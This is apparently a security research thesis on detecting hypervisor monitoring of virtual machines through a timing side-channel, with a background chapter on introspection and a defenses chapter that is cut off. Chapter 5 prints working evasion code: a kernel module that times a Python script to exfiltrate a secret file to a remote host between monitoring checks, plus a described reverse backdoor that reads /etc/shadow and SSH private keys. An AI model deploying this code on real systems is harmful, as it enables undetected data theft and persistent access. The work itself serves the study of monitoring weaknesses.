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Abstract
Virtualization technology has enabled powerful security monitoring tech-
niques, such as virtual machine introspection (VMI). These monitoring tech-
niques, however, rely on the assumed isolation of virtualized environments
from the hypervisor. We show that there are still some events that can be ob-
served that break this isolation. External observers can discern when virtual
machines are suspended due to hypervisor activity, and can use this infor-
mation to mount advanced attacks that go undetected by VMI monitoring
systems. We demonstrate some example attacks against realistic monitors
using our technique, and discuss existing and potential defenses against these
kinds of attacks.
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Chapter 1
Introduction
Cloud computing, both Infrastructure-as-a-Service (IaaS) and Platform-as-
a-Service (PaaS), continues to see increased adoption due to its convenience,
flexibility, and scalability. RightScale’s annual State of the Cloud survey
reported that 93% of respondents are utilizing the cloud in 2015, but de-
spite this widespread adoption, security in the cloud remains the top concern
among enterprises [1]. Companies are cautious to put sensitive data in public
clouds when it has been shown that isolation in virtualized environments is
not as strong as previously assumed [2, 3, 4].
Intrusion detection systems (IDSes) are commonly used to monitor com-
puting systems for malicious users and remote attacks. They also provide in-
cident responders with information used to create a timeline of events related
to a security incident. To improve the security of their cloud environments,
cloud providers can leverage traditional host and network-based IDSes and a
virtualization-specific monitoring technique known as virtual machine intro-
spection (VMI) [5]. VMI enables high-fidelity monitoring to occur outside of
a virtualized host, making it more difficult for attackers to compromise the
monitoring system. It is widely assumed that any monitoring activity in the
hypervisor is invisible to the virtualized host, and this feature makes VMI a
powerful monitoring technique.
This work challenges this assumption and shows that this is not entirely
true. We utilize a timing side-channel to infer information about hypervisor
activity. We call this technique hypervisor introspection (HI), and it
is the converse of VMI. Using HI, an attacker residing in the virtualized
guest can infer the existence of a passive VMI monitor and determine the
polling interval of the monitoring system. With this information, an attacker
can perform malicious activities that go undetected by the VMI monitoring
system.
The key contributions of this thesis are:
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Hypervisor introspection: We propose a technique that can be used to
determine, from within the guest VM via a timing side-channel, when the
hypervisor interrupts guest VM execution. This technique can be used to
detect a passive VMI system and its monitoring intervals .
HI implementation: We implement HI for Linux as a kernel module that
can be used to determine the monitoring intervals of a passive, LibVMI-based
VMI system running on top of the KVM hypervisor.
Two realistic attacks against passive VMI: We develop two attacks
that leverage HI to perform malicious activities that go undetected by a
realistic passive VMI monitor. Our attacks are transferring a large file and
maintaining a shell-like backdoor without being detected by passive VMI.
Analysis of existing state-of-the-art side-channel defenses: We
discuss current state-of-the-art side-channel defenses against side-channels
in virtualized environments. We note their shortcomings against HI, and
propose a new defense that builds upon previous work to prevent HI.
This work aims to demonstrate that there are inherent weaknesses in using
a passive VMI system and isolation of hypervisor activity from guest VMs
is not perfect. Cloud operators should be aware of these issues when using
monitoring systems in their cloud environments.
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Chapter 2
Background
2.1 Virtual Machines
A virtual machine (VM) is defined by Popek and Goldberg [6] as “an efficient,
isolated duplicate of the real machine”. Thus, a VM can be thought of as
software that implements an environment that resembles a physical machine.
VMs are managed by a hypervisor or virtual machine monitor (VMM). There
are two different types of hyperviors: type-1 and type-2. A type-1 hypervisor
runs on top of the hardware directly, while a type-2 hypervisor runs on
top of an operating system. The differences between these two kinds of
hypervisors are illustrated in Figure 2.1. Popek and Goldberg also write
that the hypervisor is responsible for enforcing three properties of virtualized
systems: efficiency, resource control, and equivalence.
Efficiency: Performance of a virtualized system should not be overwhelm-
ingly worse than that of a bare metal system. Virtualized systems should
strive to run most instructions directly on hardware without intervention by
the hypervisor.
Resource control: The hypervisor must maintain complete control over
all hardware resources, and the virtualized system must not be able to change
the quantity of hardware resources that are allocated to it.
Equivalence: The behavior of a program running within a virtualized
system should be indistinguishable from the behavior of a program running
on a bare metal system.
Because hardware is often underutilized, allocating VMs to use unused
resources leads to more efficient use of hardware, and has led to the rise of
cloud computing.
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2.2 Virtual Machine Introspection
Virtual machine introspection (VMI) is a monitoring technique first described
in Garfinkel and Rosenblum’s paper, “A Virtual Machine Introspection Based
Architecture for Intrusion Detection” [5]. The authors presented VMI as an
alternative IDS that attempted to address shortcomings in traditional host
or network-based IDSes.
Traditional IDS systems had to make a trade-off between attack resiliency
and monitor fidelity. A host-based IDS is capable of obtaining rich runtime
information about the operating system it resides on, such as open files or
running processes, but it is also more susceptible to being compromised by
malware because they both reside on the same operating system. On the
other hand, it is harder for malware to compromise a network-based IDS
because it typically resides on separate hardware, but a network-based IDS
cannot obtain as much information about what goes on within the operating
system. Thus, VMI strives to achieve the best of both worlds by providing
high fidelity monitoring without sacrificing the security of the monitoring
system. In [5], the authors describe three properties of VMI that makes VMI
a unique IDS solution: isolation, inspection, and interposition.
Isolation: Resource control and equivalence are two of the key require-
ments of virtualization as defined by [6]. Because of these requirements, VMs
are supposed to be isolated from both co-resident VMs and the hypervisor.
This isolation property of virtualization makes VMI systems resilient to at-
tacks because a guest VM should not, by definition, be able to run code on
a co-resident VM or the hypervisor.
Inspection: The resource control requirement of virtualized systems en-
ables the inspection property of VMI. Because VMs are not given direct
access to the underlying hardware and must go through the hypervisor, the
hypervisor can observe the entire hardware state of each VM. This gives VMI
monitoring systems a wealth of information about the monitored guest VM.
Interposition: In addition to the inspection property, the interposition
property also follows from the resource control requirement of virtualization.
The hypervisor’s role in virtualized systems enables it to respond to actions
taken by a guest VM. This active response mechanism allows VMI to not only
observe a guest VM, but actually respond to security events by performing
some action on the guest VM. This may range from simply blocking an action
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taken by the VM to changing the memory or hard disk contents of the guest
VM.
2.2.1 VMI Architecture
The typical architecture of a VMI system is illustrated in Figure 2.2. The
three central components are the VMI system, the hypervisor (labeled as
VMM in the figure), and the monitored VM. The VMI system is made up of
an OS interface library and a policy engine.
The OS interface library is responsible for translating the hardware state
of the monitored VM into information that can be understood by the policy
engine. For example, suppose the VMI monitor wants to find all of the
running processes in the monitored VM. The hypervisor accesses the volatile
memory of the monitored VM, and forwards that hardware information to
the VMI system. The OS interface library then translates the raw hardware
state information into kernel data structures that can be parsed by the policy
engine. The policy engine can then use that information to make monitoring
decisions.
Within the policy engine, there is a policy framework and various policy
modules. The policy framework provides an interface for the specific policy
modules to interact with the OS interface library. Each policy module im-
plements a specific monitoring policy. Example policies include checking for
forbidden processes or checking the integrity of various kernel data structures.
2.2.2 Passive VMI
Passive VMI systems periodically poll VM state information and check to
see if there a security policy violation. In Figure 2.2, passive VMI would
obtain the hardware state of the monitored host with a predefined monitoring
interval, use the OS interface library to translate that hardware state, and
apply each security policy against the translated state. For example, a passive
VMI system could check to see what processes are running and raise an alarm
when a blacklisted process is found to be running.
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2.2.3 Active VMI
Active VMI systems only check VM state information when some kind of
event occurs during VM execution and triggers the monitoring system. Ex-
ample events include hardware register access or memory region access. When
these events occur, the active VMI system checks to see what value was writ-
ten to the hardware register or checks the contents of the memory page that
was accessed. After learning the specifics of the event, the active VMI system
can respond by either blocking the event or modifying the guest VM’s hard-
ware state. In Figure 2.2, active VMI would be triggered by the callback
or response in the VMM (i.e., an event), and it could respond with some
command to modify the guest VM behavior.
2.2.4 Drawbacks of VMI
Although VMI strives to bridge the gap between host and network-based
IDSes by achieving high fidelity monitoring without sacrificing security, there
are some unique challenges that VMI faces. The biggest of these challenges
is the need to translate hardware state information into higher level OS
constructs to be understood by the monitoring system, which is performed by
the OS interface library component from Figure 2.2. This translation problem
is known as the “semantic gap” problem in VMI, and can be exploited to
evade VMI systems [8].
Another drawback of VMI is the performance overhead introduced by VMI.
Because VMI must access the hardware state of the monitored VM, the
monitored VM must be paused in order to prevent race conditions and obtain
a consistent view of the hardware state. Thus, VMI monitoring systems
typically need to make a tradeoff between VM performance and security.
Lastly, the isolation property of VMI is the foundation for maintaining the
security of the VMI monitoring system. However, isolation can be broken in
practice due to bugs in hypervisor implementation. These bugs can lead to
the isolation property breaking down and allowing a guest VM to execute
arbitrary code on the hypervisor or crash the hypervisor [9, 10]. Although
few attacks have ever been documented, cloud managers must be aware of
such attacks and should not rely on hypervisors enforcing perfect isolation.
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Figure 2.1: Type-1 hypervisor versus type-2 hypervisor (figure from [7])
Figure 2.2: Typical VMI architecture (figure from [5])
7
Chapter 3
Related Work
3.1 Side-channel Attacks in Virtual Machines
There has been research done on side-channel attacks in both IaaS and PaaS
clouds. For IaaS clouds, most research has focused on what kind of infor-
mation a VM can extract from a neighboring/co-resident VM . Previous
findings include determining co-residency on the Amazon Elastic Compute
Cloud (Amazon EC2) [2] and extracting cryptographic private keys from a
co-resident VM via a cache-based side channel [3, 4]. There is less work look-
ing at side-channel attacks in PaaS clouds because these types of clouds have
only recently begun to rise in popularity. Nonetheless, there is already some
work looking at extracting secrets from a co-located tenant on a PaaS cloud,
and compromising pseudorandom number generators and SAML-based single
sign-on systems [11].
Looking at this previous work, we note that there has been a focus on
utilizing side-channels to determine information from co-resident/co-tenant
VMs/containers. Our work, instead, looks at utilizing a side-channel to de-
termine what occurs within the hypervisor. This type of side-channel is novel
and leads to some security implications that we also explore in this work.
3.2 Existing VMI Implementations
VMI is not always implemented in the same fashion, and different VMI sys-
tems aim to address different monitoring goals. In this section, we discuss
several existing state-of-the-art VMI implementations and the differences be-
tween them.
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3.2.1 XenAccess and LibVMI
XenAccess [12] and its successor LibVMI [13] are software libraries that aid in
the implementation of VMI monitors, and focus on abstracting the process of
accessing a guest VMs volatile memory. The volatile memory of a VM holds
rich information, such as kernel-level data structures, that can be used to
determine many aspects of the guest OS. Access to the guest VM’s memory
allows for capabilities such as listing running processes and loaded kernel
modules.
LibVMI grew out of XenAccess and provides further abstractions in ac-
cessing a guest VM’s memory. In XenAccess, the user was responsible for
mapping and unmapping memory pages within a guest VM, whereas Lib-
VMI will do this transparently for the user. Thus, users can simply specify
a virtual memory address, physical memory address, or even kernel symbol
they want to read from the guest VM. LibVMI also provides an interface
that works with Volatility [14], a popular volatile memory analysis tool. In
addition to abstracting memory access, LibVMI utilizes various caches to
improve performance during introspection. With these features provided by
LibVMI, implementing VMI monitors is vastly simplified.
3.2.2 HyperTap
Many VMI systems (including XenAccess and LibVMI) rely on extracting
information from OS data structures to bridge the semantic gap. However, a
piece malware can modify kernel data structures to hide itself from the OS,
which in turn hides itself from the VMI system [8]. HyperTap [15] addresses
this problem by observing hardware events that directly correspond with
what occurs within the operating system. The authors of [15] note that the
CR3 register value changes during a process switch in the OS. From this
observation, the authors developed an active VMI system, HyperTap, to
count the number of processes executing. If the number of processes counted
by HyperTap is inconsistent with the number counted by the OS, then there
is at least one process being hidden from the OS and the presence of a rootkit
in the guest VM is highly likely.
The key difference between HyperTap and most other VMI systems is that
HyperTap determines OS activity based on raw hardware events. This pre-
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vents malware from hiding itself because certain hardware events are guar-
anteed to occur during execution (loading CR3 in the HyperTap case).
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Chapter 4
Hypervisor Introspection
4.1 High Level Attack Scenario and Goals
Our attack scenario consists of an attacker and a cloud provider. We assume
that the attacker is already on a VM managed by the cloud provider. This
could be achieved by the attacker either purchasing a VM from the cloud
provider or compromising a VM already allocated for a different user. After
the attacker has access to some VM in this cloud, he or she would like to
know if any kind of VMI monitoring system is in place to monitor the VM
before performing any other malicious activities. If it is the case that a VMI
monitoring system is present, then the attacker will also want to know the
monitoring interval of the VMI system (i.e., how often it checks the VM).
At this point, hypervisor introspection could be used by the attacker to
determine this information and mount more sophisticated attacks to evade
certain VMI systems.
4.1.1 Experiment Setup
The test system used for all of our experiments was a Dell PowerEdge 1950
server with 16GB of memory and four Intel Xeon E5430 processors running
at 2.66GHz. The server was running Ubuntu 12.04 with kernel version 3.13.
The hypervisor used was QEMU/KVM version 1.2.0, and the guest VMs
were running Ubuntu 12.04 with kernel version 3.11. We also used LibVMI
version 0.12 for our VMI capabilities.
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4.1.2 Realistic VMI Monitor
In order to test HI, we implemented a realistic VMI monitor. To accomplish
this, we leveraged LibVMI (see section 3.2.1). We extended a process listing
example included with LibVMI to create a monitor that listed the names
of processes that had opened sockets associated with it, and the number of
sockets it had open.
The included process listing example would find the location of the init task
process’ task struct and walk the linked list to find all the running pro-
cesses in the VM. Our monitor built on top of this by checking the file
information associated with each process’ task struct and determined
whether or not any of the files were Unix or TCP sockets. Unix sockets are
used for inter-process communication while TCP sockets are used by pro-
cesses to communicate with other systems over the network. TCP sockets
are especially interesting in security monitoring because malware typically
communicates over the network.
To determine whether or not a file was a socket, our monitor used the
S ISSOCK macro on each file’s inode->i mode field. A code snippet show-
ing how the monitor obtained this information through LibVMI is shown in
Figure 4.1, and an example of the monitor’s output is shown in Figure 4.2.
The monitor’s monitoring interval could be configured. For our experiments,
we used a monitoring interval of 1s because it introduced only a 5% overhead
in VM performance according to the results from running the UnixBench [16]
benchmark suite. This overhead is similar to the performance overhead in-
troduced by an active VMI monitoring system [15].
4.2 Finding a Side-channel
Our HI technique revolves around extracting information from a side-channel
and inferring hypervisor activity from measurements. Thus, the first chal-
lenge in developing HI is identifying the actual side-channel to be exploited.
For our goal of observing hypervisor activity from within the guest VM,
some source of information leakage from the hypervisor to guest VM had to
be identified.
We note that whenever the hypervisor wants to perform a monitoring ac-
tion on a guest VM, such as accessing its volatile memory, the guest VM
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must be suspended/paused. Thus, if an observer can detect when these VM
suspends occur, then he or she might be able to learn about the hypervi-
sor’s activity. We came up with two potential methods of determining when
VM suspends occur: network-based timing measurements and local, in-VM
timing measurements.
4.3 Network-based Timing Measurements
A remote observer located outside of the target VM’s cloud environment can
utilize the network to detect when VM suspends occur. When the VM is
suspended, it cannot communicate over the network. Thus, the observer can
continuously communicate with the VM and watch for disruptions in the
network traffic to determine when the VM is suspended. This side-channel
is illustrated in Figure 4.3.
We tested the feasibility of using network traffic as a side-channel in previ-
ous work by implementing a network “talker” and “listener” as kernel mod-
ules (to reduce latency), and simulated hypervisor induced delays using the
usleep range and msleep functions.1 The talker and listener kernel mod-
ules were inserted into co-resident VMs. The talker kernel module was in-
serted into the “victim” VM that is observed by the attacker, and the listener
is placed on another “observer” VM which simulates the attacker’s own com-
puter. Although this is fine for testing, we note that the attacker’s machine
must be on an external network to make accurate timing measurements. If
the attacker simply uses a co-resident VM to perform the measurements, the
VMI monitoring system would pause the observer VM and introduce errors
in the timing measurements.
We simulated 100µs, 1ms, 5ms, 10ms, 25ms, and 50ms delays on 100µs
and 1000µs intervals over 20s and measured the inter-packet arrival times.
Figure 4.4 shows the percentage of packets that arrived at least 1ms after
the preceding packet. Our simulation showed that although there were some
packets that did arrive with more than 1ms delay, there was too much noise
introduced by the network to rely on the measurements. Given that the de-
lays occurred every 100µs or 1000µs, the percentage of packets arriving with
greater than 1ms delay should have been much higher. Thus, our simulation
1This work was previously completed as part of the author’s undergraduate thesis [17]
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showed that although the network traffic may indicate whether or not some
kind of passive VMI system is in place, it is not accurate enough to tell us
when the actual monitoring checks occur.
There are some challenges with using the network to measure VM sus-
pends, so we were not surprised by the results of our simulation. The most
prominent of these challenges is the difficulty in achieving consistency across
these measurements. Network traffic latencies are heavily influenced by var-
ious factors such as routing changes or increased network switch latency
during bursts of traffic, and packets are commonly dropped. Although we
did not end up using the network as a side-channel, future work may explore
this potential side-channel further and develop tools to make more accurate
measurements.
4.4 In-VM Timing Measurements
In addition to watching network activity remotely, the observer can obtain
measurements from within the target VM if he or she has access to the VM.
This may be the case if the observer is an insider and wants to learn about an
VMI monitoring systems, but he or she does not have access to the underlying
hypervisor. In the case that the observer does not have access to the target
VM, the observer can rent a VM co-resident with the target VM. Previous
work has explored achieving co-residency placement with a specific VM [2].
Because a co-resident VM runs on top of the same hypervisor, measurements
obtained from within the co-resident VM would be the same as measurements
made from within the target VM.
By timing frequently recurring OS operations within the VM, the observer
can note disruptions in VM activity and infer hypervisor activity. This is
illustrated in Figure 4.5. We chose to measure two events: process scheduling
and I/O read operations. The rationale behind choosing these events are as
follows:
• Modern OSes run many processes at once, so scheduling of processes
must occur frequently
• Many processes interact with data stored on disk and other processes,
so they must be able to read data from these sources
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To measure the time between these events, we needed a mechanism to
observe when these events occurred. To accomplish this, we used jprobes,
which are specialized kernel probes (kprobes) that hook into a specific kernel
function’s entry point. Whenever the hooked function is called, the jprobe’s
handler function is called first before returning execution to the hooked func-
tion. This process is illustrated in Figure 4.6. By creating a jprobe handler
that timestamped each function call, we could determine the intervals at
which these kernel function calls were occurring.
To monitor these function calls, we implemented a kernel module. A kernel
module contains code to extend the kernel’s functionality. Our kernel module
contained two jprobes that hooked into the schedule and sys read kernel
functions. These functions are called whenever a process is scheduled or when
the read system call is made. The jprobes’ handler function would get the
current time using the do gettimeofday function, and check the current
time against the time of the last schedule or read event timestamp. If that
duration was greater than a certain threshold, the jprobe would write to the
kernel log saying that a long pause was detected. The last event timestamp
was then updated regardless of a long pause being detected. Example output
from our kernel module is pictured in Figure 4.7, and relevant code snippets
from our kernel module can be seen in Figure 4.8.
The threshold for what constitutes a long pause was determined empir-
ically on our test system against our LibVMI monitor. In our testing, we
aimed to find a threshold that was less than the duration of inactivity due
to a VM suspend, but greater than the micro delays that occur between the
function calls during normal OS operation (i.e., minimize false positives of a
suspected VM suspend). We found that 5ms was a good threshold interval
that prevented false positives. We have not tested this threshold value on
other systems, but we expect similar thresholds for most systems.
In the case that these threshold values are different across systems, we
note that finding this threshold empirically is a current limitation of HI, but
future work can address this by finding ways to determine thresholds without
testing. This is a nontrivial task, but it may be accomplished by correlating
various system specifications, such as kernel version, CPU model/frequency,
and system load, with threshold values. After finding suitable thresholds on
various test systems, a formal relationship between the system specifications
and the threshold value may be derived.
15
// Selected code from get_sockets.c, our LibVMI monitor
// Follwing code is called for each process
// current_process is current process’ task_struct base address
// Error handling code removed for brevity
// Get address of *files in current process’ task_struct
vmi_read_addr_va(vmi, current_process + LIBVMI_FILES_OFFSET,
0, &files_struct_addr)
// Get open file count by using next_fd
vmi_read_32_va(vmi, files_struct_addr + FILES_COUNT_OFFSET,
0, &file_count)
// Get file descriptor table from *fdt
vmi_read_addr_va(vmi, files_struct_addr + FDT_OFFSET,
0, &fdtab_addr)
// Get current fd array
vmi_read_addr_va(vmi, fdtab_addr + CUR_FDT_OFFSET,
0, &fd_array_addr)
// Loop though fd array
int loop_count = 0;
int num_socks = 0;
for (loop_count; loop_count < file_count; loop_count++)
{
// Get current fd (struct file)
vmi_read_addr_va(vmi,
fd_array_addr + (loop_count * FILES_STRUCT_SIZE),
0, &cur_file)
// Get current file’s dentry
vmi_read_addr_va(vmi, cur_file + DENTRY_OFFSET,
0, &cur_file_dentry_addr)
// Get current file’s inode
vmi_read_addr_va(vmi, cur_file_dentry_addr + DENTRY_INODE_OFFSET,
0, &cur_file_inode_addr)
// Get current file’s inode’s i_mode
vmi_read_16_va(vmi, cur_file_inode_addr + UMODE_OFFSET,
0, &cur_umode)
// Cast to mode_t and check if file is socket with S_ISSOCK
// If it is a socket, increment the counter
mode_t cur_file_mode = (mode_t) (cur_umode);
if (S_ISSOCK(cur_file_mode))
{
num_socks++;
}
}
Figure 4.1: Code snippet from our LibVMI monitor showing how we
determine which processes have Unix/TCP sockets open
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Figure 4.2: Example output from our LibVMI monitor that lists processes
with open Unix/TCP sockets. Each process has two lines of monitor
output. On the first line, the number in the brackets is the process ID
(PID), the string after the brackets is the name of the process, and the
hexadecimal number is the virtual address of the task struct for this
process. On the second line, the monitor output shows how many
Unix/TCP sockets were found that were opened by the process.
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Figure 4.3: VM suspend side-channel observed from outside the VM via the
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Figure 4.5: VM suspend side-channel observed from within the VM
hooked_function()
jprobe_handler()
// do stuff
...
...
return;
// do handler
// stuff
...
...
jprobe_return();
1
2
Figure 4.6: Illustration of how a jprobe works. (1) When
hooked function() is called, execution is redirected to the registered
jprobe handler() function before hooked function() executes. (2)
After the handler function finishes executing, it returns execution to the
beginning of hooked function() with a call to jprobe return().
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Figure 4.7: Example output from the dmesg -d command being run after
our in-VM measurement kernel module is inserted. The output shows that
the jprobes are hooked into the schedule and sys read kernel functions
followed by alerts indicating the detection of a suspected VM suspend. The
number between the angle brackets is the time interval between log entries.
Note that after the first alert of a potential VM suspend, the interval is
around 1s, which matches our VMI system’s monitoring interval.
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// Selected code from timer_kprobe.c, our kernel module to perform HI
// Set handler function for the jprobes
static struct jprobe scheduler_jprobe = {
.entry = (kprobe_opcode_t *) my_scheduler_timer
};
static struct jprobe read_jprobe = {
.entry = (kprobe_opcode_t *) my_scheduler_timer
};
// Handler function for jprobes
static void my_scheduler_timer(void)
{
if (first_run)
{
first_run = 0;
}
else
{
unsigned long long diff;
do_gettimeofday(&ts2);
unsigned long long ts1_us =
(unsigned long long)ts1.tv_sec * 1000000 +
(unsigned long long)ts1.tv_usec;
unsigned long long ts2_us =
(unsigned long long)ts2.tv_sec * 1000000 +
(unsigned long long)ts2.tv_usec;
diff = (ts2_us - ts1_us);
// Threshold (5ms here) checked here for determining VM suspends
if (diff > 5000) {
printk(KERN_INFO MODULE_NAME": pause > 5ms detected. TS: %llu\n", ts2_us);
last_check_ts = ts2_us;
did_cur_iter = 0;
}
}
do_gettimeofday(&ts1);
jprobe_return();
}
// Hook/insert jprobes into schedule and sys_read
void insert_jprobe(void)
{
scheduler_jprobe.kp.addr = (kprobe_opcode_t*) kallsyms_lookup_name("schedule");
read_jprobe.kp.addr = (kprobe_opcode_t*) kallsyms_lookup_name("sys_read");
register_jprobe(&scheduler_jprobe)
register_jprobe(&read_jprobe)
printk(KERN_INFO MODULE_NAME": jprobe hooked into schedule() at addr %p\n",
scheduler_jprobe.kp.addr);
printk(KERN_INFO MODULE_NAME": jprobe hooked into sys_read() at addr %p\n",
read_jprobe.kp.addr);
}
Figure 4.8: Code snippets from our HI kernel module showing how we hook
into the schedule and sys read kernel functions using jprobes
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Chapter 5
Evading VMI with Hypervisor Introspection
Although hypervisor introspection can allow an observer to determine the
existence of a passive VMI monitoring system and its monitoring interval, it
is not straightforward as to how these pieces of information could be used.
This section explores the application of HI in the context of hiding malicious
activity from the passive VMI system.
5.1 Example Insider Attack Model and Assumptions
We present an insider threat attack model where an insider already has ad-
ministrator access (i.e., root access) to VMs running in a company’s public
IaaS cloud. However, this administrator knows that he or she will be leav-
ing the company soon, but wishes to keep a presence on the VMs he or she
has access to. This administrator does not have access to the underlying
hypervisor hosting the VMs, but knows that the company is utilizing some
form of passive VMI to monitor the VMs. We assume that the company’s
VMI monitoring system maintains a whitelist of processes that can be run-
ning with an open network socket and passively polls the VM on a regular
interval. This capability is similar to the LibVMI monitor we introduced in
section 4.1.2. The VMs do not have any kind of host-based monitoring, so
kernel modifications and new files are not detected.
In this attack model, the malicious administrator can leverage HI to per-
form malicious activities that go undetected by the passive VMI system. We
will now discuss two example attacks that utilize HI to evade a passive VMI
system. These attacks were tested and verified against our LibVMI monitor.
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5.2 Large File Transfer
After compromising a system, attackers commonly want to exfiltrate data
out of the network. This may be done using secure copy (SCP), file transfer
protocol (FTP), the attacker’s own utility, or any number of other file transfer
methods. To help detect cases of data exfiltration, a passive VMI system
could maintain a small, restrictive whitelist of processes that are allowed to
be running with an open network socket. Whenever a non-whitelisted process
is found to be running with an open network socket, the passive VMI system
would raise an alarm. A restricted VM with sensitive data would have a
whitelist that is either empty or contains only a few processes.
For sufficiently large files being transferred by a non-whitelisted process,
the transfer time would take too long and the passive VMI system would
detect file transfer occurring. This scenario is illustrated in Figure 5.1. We
tested this scenario by writing a Python script that transferred a 250MB file
over TCP to a co-resident VM. During the file transfer, our LibVMI monitor
detected the non-whitelisted Python process running with a socket open and
triggered an alarm.
A large file, however, can still be sent over the network if it is split into
smaller-sized chunks that are transferred in between the monitoring checks.
This process is illustrated by Figure 5.2. Thus, we can use HI to properly
time the transfer of each file chunk and evade the VMI system.
We implemented this attack by writing a Python script that would only
transfer a small chunk of the file, write the current offset in the file to an
“offset log” file, and then terminate. The code for this script is shown in
Figure 5.3. The kernel module from section 4.4 was extended to call this
Python script immediately after a VM suspend was detected using a separate
kernel thread. The kernel thread would constantly poll the main thread to see
when was the last detected VM suspend and call call usermodehelper
to run the Python script right after a detected VM suspend. The kernel
thread function is shown in Figure 5.4. When this modified file transfer was
used, our LibVMI monitor did not detect Python running.
On our test system, na¨ıvely transferring the entire 250MB file at once over
a TCP connection between two co-resident VMs took on average (over 10
tests) 8.8838s. Using our technique with 8MB chunks, the file transfer takes
32 monitoring iterations to transfer the entire file. Thus, it takes around 32
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seconds to transfer the file, which is approximately 4 times the duration of
the na¨ıve method.
We note that the transfer speed of the file using this technique depends on
the monitoring interval of the VMI system. Longer monitoring intervals lead
to longer transfer times because the interval between chunks being transferred
increases. The attacker can counteract this by tuning the chunk size to scale
with the monitoring interval once the attacker learns the monitoring interval
using HI. This would be risky and may expose the attacker’s activities, but
it would also improve the transfer time of the file. Thus, safe chunk sizes
could be determined by the attacker independently on a test system before
the actual attack.
5.3 Backdoor Shell
In addition to transferring files, attackers typically want to maintain access to
compromised systems by installing a backdoor. A typical backdoor listening
for network connections would be detected by a passive VMI system because
the backdoor has a socket open.
The passive VMI system can be evaded, however, by reversing the tradi-
tional server and client roles in a backdoor. A backdoor client is instead run
on the VM between monitoring checks and a backdoor server is listening on
a separate attacker-controlled machine outside of the network. The backdoor
server maintains a queue of commands that the attacker would like to be run
on the VM. The backdoor client performs a single command cycle for every
two monitoring checks. A command cycle is illustrated in Figure 5.5 and is
made up of the following events:
1. The initial monitoring check occurs
2. The backdoor client connects to the attacker’s machine, which is lis-
tening for this connection
3. The client retrieves the next command to be run or is told that there
is no command to be run currently
4. The backdoor client saves the command to be run and terminates before
the next monitoring check
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5. The second monitoring check occurs
6. The backdoor client runs the command it saved
7. The output of the command is sent back to the server and the backdoor
client terminates before the next monitoring check
We implemented this attack by writing the backdoor client and server as
Python scripts. The backdoor server reads commands from standard input,
and adds them to the command queue. The backdoor client either retrieves
the next command to be run, or runs the current command and sends the
output back to the server. The backdoor client is driven by the HI kernel
module via the call usermodehelper kernel function in the same manner
as described above for the large file transfer example attack.
Using this backdoor, an attacker can run commands such as cat/etc/
shadow and cat /root/.ssh/id rsa to find password hashes and ssh
private keys respectively. When this backdoor was running, our LibVMI
monitor was never triggered. Conversely, a traditional backdoor server lis-
tening for connections was detected by our LibVMI monitor.
Although this attack lets some commands run unnoticed by the VMI mon-
itor, commands that take longer to run would be cause the command cycle
to take longer than the monitoring interval. If that occurs, then the VMI
monitor would detect the backdoor running and trigger an alarm. We pro-
pose that this attack could be modified to hide longer-running commands by
expanding the command cycle to occur over three monitoring checks, and
saving the command output before it is sent back to the attacker after the
third monitoring check. The modified command cycle is illustrated in Figure
5.6. This would allow for longer-running and more verbose commands at
the cost of lower command throughput (longer wait time between attacker
entering a command and receiving the output). Depending on the attacker’s
commands and goal, this command cycle may be more appropriate than the
one we implemented.
Similar to the large file transfer attack described above, command output
latency is dependent on the monitoring interval of the passive VMI system.
If the monitoring interval is long, then the attacker will have to wait a long
time before the output of the command is returned. The attacker can get
around this by having the backdoor client retrieve multiple commands to be
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run on the system. Thus, the longer monitoring interval is exploited and the
backdoor client can return the output of multiple commands.
Time
File Transfer
Monitoring
Check
Alarm
Figure 5.1: Illustration of how a large file transfer by a non-whitelisted
process would be detected by the passive VMI monitoring system
Time
File Transfer
Monitoring
Check
Figure 5.2: Illustration of how a large file can be transferred by a
non-whitelisted process and evade passive VMI by splitting the file into
chunks and transferring each chunk in between monitoring checks
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# Code from transmit.py, our Python script used to transmit chunks
# of a large file in between monitoring checks.
import socket
import time
import sys
import os
# Chunk size = blocksize*num_blocks
# Adjusting these variables changes the overall transmission time
# because larger chunks are sent between monitoring intervals
blocksize = 8192
num_blocks = 1000
# Use this file to get our current offset and log the next one
with open("transfer_offset.txt", "a+") as offset_f:
offset_str = offset_f.read().split(",")[-1]
if offset_str == "":
offset_count = 0
else:
offset_count = int(offset_str)
offset_f.write(", %d" % (offset_count + 1))
# Do not execute after we have finished transferring the file
total_size = os.path.getsize("/home/boss/rand.out")
if (blocksize*offset_count*num_blocks) > total_size:
sys.exit(0)
# Connect to remote server we want to exfiltrate this data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.122.102", 8888))
# Read data for current chunk and send it
with open("/home/boss/secret_data.txt", "rb") as f:
f.seek(blocksize*offset_count*num_blocks)
for i in range(num_blocks):
send_data = f.read(blocksize)
if send_data == "":
break
sock.send(send_data)
sock.close()
Figure 5.3: Python script for performing the file transfer in chunks to evade
the passive VMI system. The script is called by the HI kernel module.
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// Selected code from timer_kprobe.c, our kernel module performing HI
// and extended to perform malicious activities to evade passive VMI
static int mal_thread_func(void *data)
{
kthread->running = 1;
current->flags |= PF_NOFREEZE;
// Arguments for call_usermodehelper later
char *argv[] = {"/usr/bin/python",
"/root/transmit.py",
NULL};
static char *envp[] = {"HOME=/root/",
"TERM=linux",
"PATH=/usr/bin:/sbin:/usr/sbin:/bin",
NULL};
struct timeval cur_ts;
unsigned long long cur_ts_us;
while (!kthread_should_stop()) {
usleep_range(80,100);
while (do_mal && monitoring_interval > 0 &&
!kthread_should_stop()) {
if (last_check_ts < 0)
continue;
do_gettimeofday(&cur_ts);
cur_ts_us =
(unsigned long long) (cur_ts.tv_sec) * 1000000 +
(unsigned long long)cur_ts.tv_usec;
// Make sure we run the script soon after the pause occurs
// and only run the script once for this pause
if (cur_ts_us < (last_check_ts + 4000) && !did_cur_iter) {
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
did_cur_iter = 1;
}
usleep_range(80,100);
}
}
return 0;
}
Figure 5.4: Kernel thread function showing how we drive the user space
Python script from kernel space using call usermodehelper after a
VM suspend is detected by the kernel module’s main thread
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Figure 5.5: Illustration of the events in a command cycle as described in
section 5.3
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Figure 5.6: Illustration of the modified command cycle for longer-running
or more verbose commands. The command output is saved and sent back
to the attacker after an additional monitoring check occurs. This lets the
command execute longer and a larger amount of output data can be sent
back to the attacker without triggering the monitoring system.
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Chapter 6
Defenses Against Hypervisor Introspection
6.1 Introducing Noise to VM Clocks
Because HI relies on fine-grained timing measurements to determine when
VM suspends occur, it follows that reducing the granularity of the measure-
ments could prevent HI. In this section, we explore some previous work that
